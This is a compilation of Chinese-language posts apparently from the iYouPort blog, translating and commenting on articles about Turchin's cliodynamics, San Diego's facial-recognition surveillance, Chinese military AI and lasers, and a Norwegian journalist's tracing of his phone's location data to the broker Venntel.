Turchin 完全放弃了意识形态。在他看来，历史的弧线不是向进步弯曲，而是一路向后弯曲， 在繁荣和萧条的无休止的循环中。这让他与美国的历史学家们产生了分歧，他们中的许多人都怀有一种不言而喻的信念，即 认为自由民主是所有历史的终极状态。

如果你在这个领域之外接受过训练，以这种扫描式的、周期性的方式书写历史就会更容易。斯坦福大学的历史学家 Walter Scheidel 告诉我：“如果你看看谁在做这些大历史就会知道，更多的时候，他们不是真正的历史学家。” 相反，他们来自这些禁忌的不占优势的科学领域。

该流派最著名的书《*Guns, Germs, and Steel*》（1997年）中见证了13000年的人类历史。它的作者 Jared Diamond 的前半生是世界上最重要的胆囊生理学专家之一。Steven Pinker 则是一位研究儿童如何获得语言能力的认知心理学家，他写了一部关于几千年来暴力的衰落、以及启蒙运动以来人类繁荣的大历史。我问及这些人的时候，大多数历史学家 —— 出于某种原因，大历史几乎都是男性的追求 —— 都用笑柄式的和带有明显倾向性的词汇来形容他们。

Pinker 反驳说，历史学家们对像他这样的“学科提包客”受到关注感到不满，因为他们将科学方法应用于人文学科，并得出了旧方法所无法得出的结论。

【注：提包客 (Carpetbagger) 在美国历史上是对美国北部人的贬义词。他们被认为是在剥削当地民众。实际上，“提包客”一词通常适用于在重建时代出现在南方的任何北方人。】

他对 Turchin 关于历史周期的说法持怀疑态度，但他相信数据驱动的历史调查。“鉴于人类行为的嘈杂性和认知偏差的普遍性，很容易通过挑选适合自己叙事的事件来欺骗自己关于历史时期或趋势的想法”，他说。唯一的答案是使用大型数据集。

Pinker 感谢传统历史学家整理这些数据集的工作；他在一封电子邮件中告诉我，“值得对他们的原创性研究表示非凡的钦佩”。他呼吁的不是投降，而是休战。“传统的历史和数据科学没有理由不能合并成一个合作”，Pinker 写道，“想要了解一些事是很难的，我们需要使用每一个可用的工具。”

南卫理公会大学教授 Guldi 是一位接受了以前被历史学家蔑视的工具的学者。她是数据驱动历史研究的先驱，她的主要技术是对文本的挖掘 —— 例如，筛选议会辩论中捕捉到的数以百万计的文字，以了解大英帝国最后一个世纪的土地使用历史。

Guldi 似乎是历史动力学的潜在新兵，但她处理数据集的方法是以传统的人文科学方法为基础的。她计算单词的频率，而不是试图找到比较不同文明之间大的、模糊的类别的方法。

她告诉我，Turchin 的数据库是好的，任何试图对谁构成一个社会的精英这样复杂的东西进行编码的数据库 —— 然后试图进行跨千年和跨大洋的同类比较 —— 都会遭到传统历史学家的怀疑，这些人只是在否认自己倾注了毕生心血的课题可以用 **Excel** 格式表达。Turchin 的数据也仅限于可观察到的1万年历史，或约200个生命期的大局特征。按照科学标准，200个样本量是很小的，即使这基本是人类的全部。

然而，200个生命期至少比平均只有1个生命期的历史范围更有野心。而这种雄心壮志的回报还包括每个作家都想要的东西：观众。小小的想法很少能让你被《纽约时报》引用。Turchin 还没有吸引到像 Diamond、Pinker、或 Harari 那样多的大众读者，但他已经吸引了政治灾难的鉴赏家、寻找紧迫问题大答案的记者和专家，以及期待将科学用作为征服不确定性和改善世界的力量的真正信徒。他当然比大多数甲虫专家更胜一筹。

如果他是对的，很难看到历史将如何避免同化他的见解 —— 如果历史自己能避免被这些见解废除的话。私下里，一些历史学家告诉我，他们认为 Turchin 使用的工具很强大，如果不是有点粗糙的话。历史动力学现在是一长串方法中的一员，这些方法有望彻底改变历史。

许多人都是过眼云烟，但有些人在那个阶段幸存下来了，在不断扩大的历史学工具箱中占据了应有的位置。Turchin 的方法已经显示了这一力量。历史动力学提供了科学的假设，而人类历史将给我们越来越多的机会来检验它的预测。我很少看到有思想家更渴望看到自己被证明是错的。〇

This article appears in the December 2020 print edition with the headline "The Historian Who Sees the Future." by Graeme Wood

原文

"中国式噩梦"在美国 [Video] - iYouPort

关于高堡奇人

你能想象一个美国的城市秘密建立一个可追踪每个人的中国式公共监控网络吗？最好想象一下，因为它已经发生了。怎么回事？

「图」

「图」

你能想象一个美国的城市秘密建立一个可追踪每个人的中国式公共监控网络吗？

最好想象一下，因为它已经发生了。

当我去年写下“隐藏的面部识别路灯来到你附近的城市”时，还从未想过我的文章会如此迅速地成为现实。

San Diego Reader 最近的一篇文章揭示了黑客如何发现圣地亚哥港和 BriefCam 之间的电子邮件。这些电子邮件显示，执法部门秘密地使用了**400**个面部识别监控摄像头网络来识别每个人。

在这里看到视频：

去年，BriefCam 宣布了实时面部识别监控技术的“突破性”发展：

强大的多摄像头搜索功能可以快速准确地识别男性，女性，儿童和车辆，使用*25*个类别和属性，人脸识别、外观相似性、肤色、体量大小、速度、路径、方向和停留时间。

根据另一篇文章，圣地亚哥市正在使用GE的 CityIQ 路灯来窃听每个人。

在2017年，民权倡导者已经致函市长和市议会，要求该市不要安装GE的路灯：

能够监视和记录居民一举一动的设备严重侵犯隐私权、危害言论自由，并且不成比例地影响有色人种社区。

但正如文章所揭示的那样，圣地亚哥忽视了公众的担忧，并秘密安装了**3200**个间谍**GE**路灯。

GE的间谍路灯实际上“将城市变成了一个隐形的实验室，用于嵌入式智能设备，采用 DEA，ICE 和其他维稳机构经常使用的设备进行收集。”（要了解有关圣地亚哥间谍路灯的更多信息，请点击此处。）

来自 BriefCam 西部地区销售总监 Erik Wade 的电子邮件揭示了谁在背后真正支持圣地亚哥的公共监控网络。

“我目前正在与 *SDPD* 合作，在整个城市的新实时犯罪中心（*RTCC*）部署 *BriefCam*，这将极大地帮助你，因为这些监视相机的覆盖会互相受益”，*Wade* 说。

那么，BriefCam 和 DHS 到底有多接近？

去年，BriefCam 宣布他们赢得了2018年’ASTORS’国土安全奖的金奖，称其为“著名的计划，旨在尊重杰出的政府和供应商解决方案。”

我希望我能说，我很惊讶私营公司正在与国土安全部合作，但这种状况并不令人吃惊，因为自9/11以来一直都是如此。

令人惊讶的是了解到了圣地亚哥执法部门是如何秘密创建公共监视网络的。BriefCam 的“突破性”声明是一个令人难以置信的承认。

圣地亚哥的执法部门正在使用 BriefCam 创建“精确的人脸识别”，使用从视频、外部图像源和预定义的监视列表中提取的数字图像，快速准确地识别任何当局感兴趣的人。

WatchListing 是 BriefCam 的主要卖点，他们说：“我们的可扩展监视列表管理实现了快速而强大的规则配置。”也就是中国的监视黑名单咯。

马萨诸塞州伊普斯威奇镇最近宣布，他们已经成为美国第一个建立公共监视网络的城镇。

将数十万儿童及其家人列入监视黑名单是一件大事。

去年，BriefCam 宣布他们使用监控摄像头识别2018年在宾夕法尼亚

州南威廉斯波特举行的世界少棒联盟系列赛中的所有儿童及其家人。“每年都有数十万人前往威廉斯波特参加这场赛事”。

就如 Vanity Fair 所警告的：将我们的城市变成中国镜像的真正目的是“"让人们更加顺从"”，简而言之就是：监视政治。

San Diego Has Been Turned Into A Massive Chinese-Style Public Surveillance Network: the real purpose behind turning our cities into a mirror image of China is to “make people more obedient” and that is surveillance politics in a nutshell.

原文

“人工智能”的中国军事 - iyouport

作恶者：中国在帮谁关于高堡奇人

【2019年11月5日存档】是谁让中国变得如此“强大”？是西方。

中国军队正在重点关注人工智能。

然而，中国为军方开发“更智能”、更便宜的技术的竞赛并不是线性的，而是涉及中央政府、国内公司和国际贸易的多管齐下的战略。

华盛顿智库“新美国安全中心”的 Gregory Allen 发表了一份关于中国人工智能战略的报告，他说：

> 中国军方领导人越来越多地将智能或“智能化”军事技术称为对未来战争基础的期望。使用“智能化”一词意味着基于信息技术的军事新阶段。

他还报告称，“中国国家和地方政府在实施这些计划方面的人力资源支出总额尚未公开披露，但显然已达数百亿美元。”

中国似乎打算出售其建立的人工智能技术，并且正在进行让人工智能相关行业取得商业成功的计划。

牛津大学人工智能项目治理负责人 Jeffrey Ding 在他的“解读中国的AI梦”论文中表示，到2020年，中国的核心人工智能行业总产出和人工智能相关的行业总产值可分别超过**225**亿美元和**1508**亿美元，使中国成为该领域最先进的国家之一。

将其AI输出商业化可能会为其军队带来好处。Allen 称：

“中国的商业市场已经成功与中国的国家安全欲求直接相关，不仅降低了美国政府对中国施加外交和经济压力的能力，而且，增加了中国军事和情报界的技术能力”。

中国的国家人工智能战略得到了私营部门的大力支持 —— 即 军事工

业综合体。UNICRI 人工智能和机器人中心负责人 Irakli Beridze 说：

“政府、私营部门和学术界之间的联盟确实促进了统一的愿景，他们认为这种愿景实际上可以为中国经济以及发展和创新带来积极的结果。”

在人工智能方面，中国已经将自己视为可以迅速缩小与美国之间的差距。Allen 说出了一个关键问题：

“通过进入全球技术研究和市场，中国取得了成功。许多看似是“中国”的人工智能成就实际上是跨国研究团队和公司的成就，这种国际合作对中国的研究进展至关重要。”

简单说，没有南方国家的大力“帮助”，中国的技术水平很可能不会有今天的高度。

延伸《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》；《一臂之厉：美国企业正在帮助建立中国的奥威尔国家》

中国对“智能军事”的积极追求令分析人士担心，它可能引发人工智能军备竞赛，不仅涉及美国，还涉及其邻国，尤其是日本。

Allen 表示，“人工智能系统的使用增加会导致误解和无意的冲突升级，这可能是由于缺乏有关使用此类系统的明确规范。”

也就是说，中国仍然有办法克服本国人工智能生态系统的固有问题。

其中包括人才缺乏、核心技术滞后、资金不平等、市场竞争、军备控制问题以及当前的外部依赖。

中国军方在人工智能技术方面究竟获得了什么？本文将分别讨论中国军队的三个人工智能用例：

- 自动驾驶汽车
- 面部识别
- 5G

分析始于中国对自动驾驶汽车和无人机的大笔投资。

自动驾驶汽车和无人机

根据 The National Interest，中国是无人作战飞行器（UCAVs）的最

大出口国，也被称为战斗无人机。

斯德哥尔摩国际和平研究所（SIPRI）报告：

“有关UCAV扩散对和平与安全的影响的讨论很广泛。中国已成为 **UCAV** 的主要出口国。中国在2009–13年间向2个国家出口了10架 UCAV，而在2014年至2018年，向13个国家出口了153架 —— 其中5个出口方在中东：埃及、伊拉克、约旦、沙特阿拉伯和阿联酋”。

攻击型直升无人机 Blowfish A2 的 Ziyan UAV 在第15届兰卡威国际海事和航空航天展览会（LIMA）上向马来西亚感兴趣的买家展示了其能力。

该无人机已经卖给了阿联酋，并正在与巴基斯坦和沙特阿拉伯进行谈判。

下面是一段一分钟的视频，展示了 Blowfish A2 如何使用计算机视觉技术来识别目标：

美国一直处于无人机技术的最前沿，但限制其向其他国家出口无人机。

- 延伸：《伊朗击落的无人机是一个价值2.2亿美元的监视怪兽–》
- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》

中国没有这样的政策或限制，它以最低的价格提供战斗无人机（如上图所示）。

Wing Loong I-D 是成都飞机设计研究院开发的 Wing Loong 无人机系列中的最新产品。

下面是一段46秒的视频，显示它在首飞期间的画面：

中国也拥有军队使用的自动驾驶汽车。其中之一是 Marine Lizard，它不仅仅是无人驾驶飞机，而是一种自主的两栖登陆飞行器。

根据国有开发商中国船舶工业集团公司的说法，该飞行器可以“规划自己的路线，游到岸边，避开障碍物，也可以由操作员远程控制”。

鉴于最近有关扩大其在南太平洋的领土的尝试，如果 Marine Lizard

如其官方宣传所描述的那样工作，对中国的南海目标来说是有用的。

面部识别

中国军队中肆无忌惮地使用人工智能似乎具有重大价值。

然而，这并没有阻止美国私营公司与中国研究人员合作开发基于人工智能的技术。详细《“硅谷巨头为中国军方服务”，这事你怎么看》。

其中之一是微软，微软与中国军方资助的国防科技大学（NUDT）合作开展监控技术研究。

另一个是谷歌，谷歌于2017年在北京开设了人工智能研究设施。该实验室开发人工智能和机器学习工具，包括开源平台 TensorFlow。

这些公司对其技术的最终使用方法不承担任何责任。前谷歌云首席执行官甚至直接表示，“我们无法控制我们技术的所有下游用途。”

这正是与中国合作的问题。虽然这类研究的结果可供公众使用，但中国可以使用这些技术做一切，而没有顾虑。

例如，来自顶级AI公司 SenseTime 和 Megvii 的面部识别技术被中国部分地区的执法部门广泛使用，特别是新疆、陕西和深圳。

下面是一段一分钟的视频，展示深圳的面部识别技术如何阻止闯红灯：

在IYP栏目“作恶者—谁在帮中国” 中看到更多详细介绍和调查报告。

虽然当局声称人工智能监测能够在防止闯红灯、寻找失踪人口和逮捕恐怖分子方面取得更大成功，但是，滥用的可能性很大，例如针对少数群体和政治异议。

而这些技术的最终用途是军方。

隐私人权问题更不必说了。面部识别公司 SenseNets 无意中通过一个不安全的数据库泄漏了250万中国公民的个人信息。

然而，面部识别技术在国防意义上面临的最大问题是将这些能力出口到希望使用相同方法控制自己人口的政府。

随着时间的推移，这可能使得通过监视进行这种控制不仅变得可以接

受，而且是许多国家的常态。

- 在这里看到详细报告《数字威权主义的兴起: 灾年之畔》
- 《可视化数据：全球监控行业—— 谁是大哥？谁在作恶？》
- 《最新报告：是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》
- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

5G

数据访问和分析的相关问题是数据传输。

虽然开发和获取功能强大的人工智能软件和算法无疑是中国军事人工智能战略的重中之重，但建立快速可靠的传输数据和连接设备的方式可能更为重要。

延伸《人工智能新冷战—— AI和5G如何变成一场噩梦》。

根据前美国空军准将 Robert Spalding 的说法，如果中国成功地主导第五代（5G）移动通信，中国就可以“武装城市”。

根据美国军方前领导人发表的公开声明，“中国设计的5G网络将向中国提供近乎持久的数据传输能力，中国政府可以随意捕获。”

这是建立稳定的5G网络的激烈竞争的主要原因，尽管专家认为这种基础设施更容易受到黑客攻击。

但显然，中美都不在乎这点，高堡奇人追求的只是表面“优势”。

主导5G网络的军备竞赛可能会对任何军队中使用AI的方式产生深远的影响。

结论性思考

人工智能在中国军方中的应用揭示了该技术的不确定性和破坏性。

随着人工智能改变游戏规则，常规战争在今天的战场上几乎没有什么地位，中国正在充分利用这点。

Allen 表示，中国是人工智能相关领域的领导者，包括研究论文、专利数量和风险投资。

然而，值得注意的是，中国能获取这种至高无上地位的主要原因在于：中国一直在获得外国资金和技术研究。

此外，AI 是双刃剑。关于人工智能和机器学习技术还有很多未知之处。

中国对人工智能优势之速度的追求，几乎没有时间进行准确性和可靠性的测试，一旦发生问题可能会非常严重。〇

原文

“惊人的相似”[Video] - iYouPort

关于高堡奇人

Maritime Executive 称，中国解放军海军（PLA海军）公布的战术激光系统与2014年美国海军测试的固态激光系统有着惊人的相似之处。

北京的新型激光器出现在国有中央电视台的宣传视频中，据称其可以部署在陆地和海上，可以用于近距离地对地战斗和防御。根据中央电视台的说法，激光也可以安装在PLA海军的055型驱逐舰上，作为HHQ-10地对空导弹的替代品。

正如 Maritime Executive 记录的那样，北京的系统看起来与美国海军的XN-1 LaWS系统非常相似，该系统于2014年在美国庞塞号上进行了测试。

海军报告称该系统的工作原理是针对低端非对称威胁而设计的，可以用低功率干扰敌方视觉。在更高的功率下，它可以炸毁传感器、烧坏电机并引爆爆炸性材料。在一次测试中，无人机能够在短短两秒内被击落。

在这里看到视频：

这只是中国激光技术的最新成果。 4月，卫星照片显示，在中国西部出现了一个看似复杂的反卫星激光基地。

这些卫星图像由印度陆军上校 Vinayak Bhat 提供，其专业知识经常在西方媒体报道中被广泛引用，这些图像展示了具有先进卫星跟踪能力的基地和设施，其中设有大型激光器，位于新疆乌鲁木齐以南145英里处。

华盛顿自由灯塔发布了一份关于卫星图像的完整报告，该报告令人震惊地得出结论：“中国可能正在寻求激光武器来破坏、降级或损坏卫星及其传感器，并且可能已经有能力使用激光系统对抗卫星传感器。“

「图」

「图」

据分析：

这个新疆基地是其中一个激光基地，包括四个主要建筑物，*Bhat* 估计，带有滑动天窗的较小棚屋是激光跟踪器所在位置。总的来说，中国人可以发射一到三个激光器来破坏轨道卫星。

美国国防情报局在2月份公布的评估中表示，中国将在“明年某个时候”部署地面激光炮。

与此同时，去年7月，zerohedge 报道称中国已经有了一台“激光 AK-47”，其制造商声称可以从近一公里外（0.62英里）射击目标。在反对者持怀疑态度之后，“南华早报”刊登了一个测试视频：

该公司表示，拍摄的测试并非在最大范围内进行，理由是“安全原因，以避免任何人意外地走进光束区域” —— 因为光束是看不见的，而且设备没有声音，各种物体都会被点燃，包括衣服，甚至是轮胎。

南华早报引用的公司发言人说：“经过升级，它将成为世界上最先进的激光炮 – 它将能够在几公里外的地方击落一架无人机。”

原文

“我的手机在监视我，于是我开始追踪监视者” - iyouport

关于高堡奇人

【2021年3月19日存档】我的手机上有160个应用。我不知道他们实际上在做什么。但我决定找出答案 ……

【按】这篇文章的作者 Martin Gundersen 是挪威科技网站 NRKbeta 记者，他的追踪虽然没能真正揭露数据的全部路径，但是足够显示，欧洲人的数据可以也一直在被美国获取，会进入美国情报机构、移民执法和警察部门。

并非通过什么有据可查的法律或所谓的情报共享协议，而是通过每个人的智能手机上安装的应用程序，经由一系列保密的交易，难以追责。

这是对高堡奇人世界另一个角度的警示：当人们只看到欧洲最高法院对 Schrems II 的判决时、或者只盯着GDPR时，很可能会忘记高堡奇人的严重性，会严重高估欧洲作为对战高堡奇人的第三方角色的重要性。而事实上，有很多远比 **Schrems II** 案和**GDPR**能解决的问题更严重的问题。

IYP的立场是警告巴尔干化，而不是为其叫好，我们肯定不会支持类似于 “欧洲应该有自己的硅谷” 这样的流行观点。打破高堡奇人并不是需要第**3**个或更多的 “硅谷”，相反，是需要推翻硅谷和中国**BAT**的思考方式。将高堡奇人变成 “三国演义” 并不是解决方案。

也是为什么我们去年认为迈克尔·杜卡基斯研究所主任撰写的那篇文章不够好，虽然它的结论是非常值得支持的，但它的眼界过于局限了，在这里看到这篇文章《从斯诺登到中国 …》。

📌 如果您坚持站在民族国家的利益角度上思考，您将得不出真正能解决眼下的问题的有效方案，在这种思维框架下，您可以得出的方案只有两种：A 加强巴尔干化；B 加强帝国。一对新的红蓝药丸，对吗？

以下是 *Martin Gundersen* 的文章，采取第一人称足迹：一家美国公司获得了有关我的一举一动的所有信息

我有种感觉，这些应用程序一直在监视我。好吧，虽然不是监听，而是他们一直在跟踪我的位置。我的一举一动都会被他们盯着。不论是我在买菜、喝酒、还是和朋友出去玩的时候。

我知道背后有一些人一直在买卖这样的信息。他们是如何跟踪我们的，以及他们想用我们的数据做什么？

为了试图弄清这个问题的真相，我在2月份开始了一个实验。我在一部备用手机上安装了很多应用程序。然后我就会把那部手机随身携带。

或者说几乎是随身携带，当我在4月份参加 COVID-19 测试时，我把它留在了家里。

【注：作者的猜想是切实的，是多年来已经被不断证实过的。这里有一份报告可以详细说明这个问题《单向镜的背后》，还有一份追踪报道，非常清楚地阐述了数字用户对监视资本主义的恐惧并非偏执，见《如果你不偏执那就是疯了》。】

这些年来，我对被监控的感觉越来越强烈，这是有原因的。去年春天，我参加了NRK的一个小组，该小组记录了 8300 多部手机在医院或妇女庇护所时是如何被追踪的。

用 35,000 挪威克朗（3,300欧元/4,000美元），我们就获得了显示数万名挪威人在2019年旅行地点的位置数据。

其中一位是来自斯塔万格的31岁的 Karl Bjarne Bernhardsen。这些信息使我们很容易在数据中识别出他的身份 —— 而那些数据提供商一直在用 “匿名化” 来搪塞人们。

【注：关于数据匿名化的狡辩为什么您不应该相信，见《数据匿名化的陷阱》】

当我们给他打电话时，我们可以准确地说出他几乎每天都在哪里，直到2019年，动物园、工作面试、医院 —— 他作为一个初为人父的人，在那里住了几天。

这些数据落在恶意者手中是非常危险的，它可能被任何人所利用， Karl 当时对我们说。

很久以前，人们常说商业监控没那么可怕：“只是用来做广告的”。而现在，越来越多的人意识到了这有多可怕。（监视是为了操纵，不只是失去隐私这么简单。能操纵您购物的人就能操纵您投票，这就是监视资本主义毁掉民主的方式。特别推荐这本书，它清楚地说明这一灾难有多么深远）

近期出版的《Vice Motherboard》揭秘了美国军方购买位置数据的惊人内幕，一款穆斯林祈祷应用程序将用户的位置数据发送给美国军事承包商。

“这是一种亵渎”，这是美国伊斯兰关系委员会的一位地方领导人对此的反应。

2018年，一家废弃的肯德基炸鸡店的老板在亚利桑那州的一个边境小镇被捕。他被怀疑参与了通过美国边境下面的一条隧道从墨西哥走私毒品。180米长的隧道从废弃的肯德基餐厅到墨西哥的住宅

根据《华尔街日报》(WSJ) 的消息，这一行动部分是由于美国移民和海关执法局(ICE)使用商业化的位置数据挖掘到的线索。

最终，美国海关和边境保护局 (CBP) 也买到了*全球*位置数据的使用权，这些商业数据应该是与负责将人们驱逐出境的ICE部门共享的。

NRK的记者在会见机密消息来源时都会被提醒，最好避免携带智能手机，因为当局很可能会获得有关我们行踪的一切信息，甚至未经法院批准就能拿到。

如果我的位置数据落入坏人手中，可能会给其他人带来比我自己更严重的后果。这是一个持续的恐惧 —— 任何时候如果有人告诉了我一些秘密的事，可能就会因此被曝光。

（他说得没错。大规模监视时代最可怕的一点是，您已经无法再信任任何人；因为即便对方本人守约保密，但他们的设备也很难帮您保密）

我请求访问我的数据

「图」

向ICE提供有关快餐店信息的公司叫 Venntel。根据该公司记录，它们位于弗吉尼亚州的一个工业集群中。

在该地区，您会发现与国防部门有关的一系列耳熟能详的名字，例如F-35战斗机背后的公司洛克希德马丁、以及爱德华·斯诺登的前老板Booz Allen Hamilton。向东行驶20分钟，您将位于CIA总部所在地的弗吉尼亚州兰利。Venntel指出它位于这栋建筑物中。照片：Google Maps

去年8月20日，我索要了一份 Venntel 公司关于我的所有信息的副本。根据2018年通过的 GDPR，所有欧洲人都有权这样做。

第二天，Ventel 的法律部门要求我确认我最近访问过的一些地址。

他们发来的电子邮件说："一旦有了这些信息，我们将首先检查您提供的广告ID是否在我们的数据库中。"

所有智能手机都带有那个所谓的 "广告ID"。此**ID**是随时间推移和跨应用跟踪手机用户的关键。手机所有者可能会被限制访问此ID，尽管实际上很少有人会这样做。

我把我在奥斯陆NRK总部的办公室地址以及我在奥斯陆 Majorstuen 的公寓的地址给了 Venntel。

大约一个月后，我收到了来自 Venntel 的一封有趣的电子邮件，含附件。它包含有关自**2**月**15**日以来我去过的所有地方的 **75406** 条信息。它追溯到我生活中的每一步 —— 远足、出去喝酒、拜访我在挪威南部的祖母 .....左边的图片显示了我在我居住地区的活动记录。在右侧，您可以看到 Marienlyst 的NRK办公室的地图。随着时间的流逝，这里有大量的点密集在一起，就是我每一刻的位置

资料中没有电话号码和姓名，但是，几乎任何人都很容易发现这就是我。在谷歌和白页中简单的搜索就可以显示有一个 Martin Gundersen 的人住在奥斯陆的 Sorgenfrigata，在 NRK Marienlyst 工作。

Venntel 公司还告诉我，他们已经与他们的客户分享了所有这些我的信息 —— 他们的客户可以将这些信息用于联邦执法和维稳等目的。

这些客户是谁，Venntel 拒绝透露。

我是挪威人，我的位置数据怎么会被美国的 **Venntel** 公司所掌握？我安装的所有应用程序都没有以任何方式提到这家公司。任何地方都没有。甚至没有让我在实际使用之前点击任何所谓的 "确定"。

Venntel 可以告诉我，他们已经从他们的母公司 Gravy Analytics 获取

了我的所有信息，而且他们只在少数情况下知道更多关于数据来自哪些应用程序的信息。

Gravy Analytics 是一家基于营销的数据中介。他们收集消费者的大量数据，以提高广告操纵的针对性。Gravy Analytics 还声称，他们不知道大部分数据的来源；但是，在对访问请求的回复中，包含了两家新公司的名字 —— 法国的 **Predicio** 和美国的 **Complementics**。

新一轮的数据访问请求发现，一些最终落在 Venntel 手里的位置数据来源于一家名为 **Sygic** 的斯洛伐克应用开发商，他们有70个不同的应用组合。

根据他们的网页，他们最受欢迎的应用据说有超过**2**亿用户。

2月15日，我安装了两个 Sygic 的导航应用。两者都要求我同意一些个性化广告的条款。

如果你是那些几乎不阅读你同意的内容的人，你并不孤单；很少有人真正阅读他们安装的应用程序和服务的使用条款。

“我同意”，我按下了那个键。我们现在已经达成了一个具有约束力的协议，我和应用程序之间。

违反隐私法

「图」

很明显，当 Gravy Analytics 收到数据时，与 Sygic 的协议已经被打破。Gravy Analytics 在他们的隐私政策中表示，我的个人信息可能被用于为合作伙伴和客户提供一系列服务。根据他们自己的隐私政策，这包括欺诈检测、执法和所谓的国家安全等目的。

换个角度来说。Gravy Analytics将我的位置数据共享给了他们的子公司，而他们的子公司是专门提供这些服务的。

这就回到了我在2月15日与 Sygic 达成的协议。

我咨询了三位律师，Malgorzata Agnieszka Cyndecka、Lee Bygrave 和 Arve Føyen，他们都是隐私专家。他们认为，我的个人信息很可能被用于我同意之外的其他目的，这明显违反了GDPR。因为GDPR是对你们到底能用我的个人信息做什么设定了严格的限制和要求。“如果事实证明合作伙伴可以将个人信息用于除您同意的目的以外的其他用

途，这是非常危险的” Cyndecka 说

卑尔根大学法律系副教授 Malgorzata Agnieszka Cyndecka 表示，这种做法不仅颠覆了作为目的的限制原则，也颠覆了GDPR的透明度和公平性原则。

邪恶的天气预报

「图」

根据 Gravy Analytics 和 Venntel 的数据文件，我也被天气应用 Fu*** Weather 追踪到了。这款应用承诺会以一种讽刺的、尖锐的方式呈现天气。谁会不愿意每天的预报都有大量脏话伺候呢？

今年秋天安装该应用时，我 “同意” 我的数据可以用于分析和 “货币化”，即为该应用提供资金。

我咨询过的这三位律师也认为这个协议不符合GDPR的规定，因为 “货币化” 到底意味着什么是非常不清楚的。分析也不涵盖 **Venntel** 的所有商业行为。应用程序 Funny Weather

该应用程序背后的开发者是 Lawiusz Fras，并没有一家大公司。他表示自己并不了解 Venntel，但表示自己对该应用的商业模式持开放态度。

“我与一些公司合作，这些公司利用应用所能获取的一些数据来赚取这方面的钱，这并不是机密”，应用的开发者 Lawiusz Fras 在一封电子邮件中写道。

Fras 承认，该应用程序可以更清楚地说明 “货币化” 所包含的内容。他打算在隐私政策中对此做些什么，但坚持认为用户已经被 “适当告知”。

不可能的追责

「图」

来自该天气应用程序的数据如何到达了 Venntel，仍是一个谜，但数据可能流经法国的 Predicio 公司，因为该中介在该应用的隐私权政策中被列为 “合作伙伴”。

Venntel 可能从哪些其他应用程序中接收数据？这个问题被保密得非常严格。甚至移动应用程序背后的人也不知道他们自己已经参与其中了。

“我们不知道 Venntel 这家公司”，Zuzana Kacanova 在回复我的提问关于我的数据是如何在他们那里结束的时候这样说。

Kacanova 声称，根据GDPR，我作为用户的 “同意” 意味着数据被合法拿走，他们的合作伙伴有合同义务只将我的数据用于营销目的。

“根据您提供的信息，并不清楚 Venntel 掌握的关于您的数据来源是 Sygic GPS 导航公司。如果证明属实，则违反了我们与各合作伙伴的合同。”

NRK 进行的一项技术分析显示，有几个细节表明，来自 Sygic 的数据最终落入了 Venntel 手中。例如，Complementics 用于 Sygic 数据的一个ID也出现在 Venntel 的数据中。

Kacanova 并没有回答关于这将对其与 Predicio 或 Complementics 的伙伴关系产生什么样的后果的问题。（不会产生什么后果的，这种合作会继续进行，这就是监视资本主义体制）

建立在违法行为之上

「图」

随着2018年GDPR的到来，隐私倡导者已经赢得了一个重要的胜利。欧洲的共同立法本来是为了让交易用户数据的公司受到更严格的审查。然而，部分数字广告行业却并没有任何变化。

“他们试图坚持旧的做法，并把它们伪装成不同的东西，但核心还是一样的”，David Martin 在布鲁塞尔的客厅里说。

他是欧洲消费者伞式组织 BEUC 的数字权利小组的负责人。他说，部分数字广告系统是 “建立在几乎系统性违反GDPR的基础上的”。（他指的系统性违法现象更准确说应该是**GDPR**本身的缺陷，见《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》）

David Martin 与大多数隐私倡导者的观点一致。在理论上，GDPR是伟大的， 但在实践中，它有严重的缺点。David Martin 认为，欧洲数据保护机构拥有很大的权力，但是他们在执行GDPR时过于谨慎了

奥地利隐私研究者和活动家 Wolfie Christl 多年来一直在调查公司如何使用我们的数据。最近，他协助挪威消费者委员会编写了“失控”这份报告，记录了应用程序生态系统中一些潜在的侵犯隐私行为。

他说，在大多数情况下，很难甚至完全无法追踪个人数据是如何在应用程序、数据经纪人及其客户之间流动的。

在 Christl 看来，欧盟的数据保护当局似乎无法或不愿阻止许多违反GDPR的行为。

【注：他说的“不愿”并非偏颇，它就是事实，也是为什么说将打败高堡奇人的期待放在欧洲身上可能是不切实际的。您可以这里看到具体解释，《讽刺性依赖》】

他认为欧洲官员需要迅速采取行动。但问题是，是否有人愿意听从。Føyen Torkildsen 律师事务所合伙人 Arve Føyen 认为，很难对 Venntel 这样的公司进行处罚，因为他们在欧洲没有办事处。

Føyen 解释说，法律本身恐怕会给人一种规则适用的错觉 —— 但实际上，采取法律行动是不可能的。

数字相册

「图」

自从我把特定的手机带到 Nordmarka 森林里喝咖啡和吃华夫饼的地方 —— Ullevålseter 小屋后，已经几个月过去了。

在我的屏幕上，我现在看到的是沿着森林小路蜿蜒的小点。在我休息的地方，有几个点簇拥在一起，在我快步走过的地方，那些点相距较远。我从右边走来，在院子里停了下来，直到我坐在图片右边的长凳上。总的来说，这张照片显示了8月9日星期日那天36分钟内我的一举一动

那是一个炎热的夏末周日。马蝇很活跃，尤其是在沼泽地附近。

人们往往会忘记大部分自己去过的地方，以及在那里做过的事。不过，几条线索还是足以让记忆回归。在那个夏日的星期天，重走我当时的路，就像翻阅一本旧相册，每一页都有自己的故事。

而更有趣的是，背后有神奇的人掌握着所有这些数据。掌握着我的一举一动。

重复我自己的脚步是不可思议的，尽管在我的情况下这些数据没有泄露任何浪漫的恋情、秘密的会议或尴尬的健康问题。

但必须承认，我们大多数人在生活中都有不想分享的时刻。哪怕是对我们最亲近的人，我们的老板，或者是政府，也不愿分享。

我能够绘制出从我的手机移动应用到 Venntel 的数据流，但我仍然有很多未解的问题。Venntel 的哪些客户获得了我的信息？会不会是国防部门的公司、情报部门、FBI？

很难得到答案

「图」

Gravy Analytics 没有回应我们的多次询问。其子公司 Venntel 也不愿接受电话或电子邮件的采访。

在一份简短的声明中，Venntel 声称，我的手机动向没有与ICE或CBP共享。他们还写道，他们与应用提供商 Sygic 或 Lawiusz Fras 没有关系。(NRK从未声称他们有直接关系，但有文件显示，该公司正在通过其他人从这些应用程序中获取信息)。

Venntel 写道："我们不会进一步评论我们的业务关系或对法律的解释"。

在给NRK的一份声明中，美国海关和边境保护局(CBP)表示，他们对商业数据的访问是 "有限的"，他们是 "按照相关的规则和条例来使用的"。

